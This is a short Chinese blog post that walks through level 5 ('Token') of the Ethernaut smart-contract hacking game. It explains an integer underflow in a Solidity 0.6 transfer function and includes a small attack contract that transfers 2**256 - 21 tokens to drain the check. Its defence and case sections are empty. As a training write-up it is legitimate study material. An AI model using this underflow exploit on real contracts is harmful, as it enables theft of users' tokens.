# 智能合约黑客攻击 Ethernaut:    5. Token

By [Leek DEV](https://paragraph.com/@leekdev) · 2023-09-26

---

[Ethernaut](https://ethernaut.openzeppelin.com/) 是一个由 [OpenZeppelin](https://www.openzeppelin.com/) 基于 Solidity 编程语言开发的对抗游戏，每个关卡都有需要被 Hack 的智能合约。

教程
--

*   GitHub - [攻击代码](https://github.com/6boris)
    
*   Bilibili - [视频教程](https://space.bilibili.com/3493272831920239)
    
*   YouTube - [视频教程](https://www.youtube.com/@LeekDEV)
    
*   TikTok - ….
    

题目
--

开始你有20个 Token，需要拥有更多的 Token。

Hack思路
------

合约版本是0.6，核心转账的地方没有做溢出检查，只需要特殊构建出一个数就可以绕过检查。攻击合约代码

    contract TokenAttack {
        constructor(Token _token) public {
            Token exploitInst = Token(_token);
            exploitInst.transfer(msg.sender, ((2 ** 256) - 21));
        }
    }
    

Hack案例
------

…

防范思路
----

….

参考资料
----

**The Parity Wallet Hack Explained**
====================================

---

*Originally published on [Leek DEV](https://paragraph.com/@leekdev/ethernaut-5-token)*
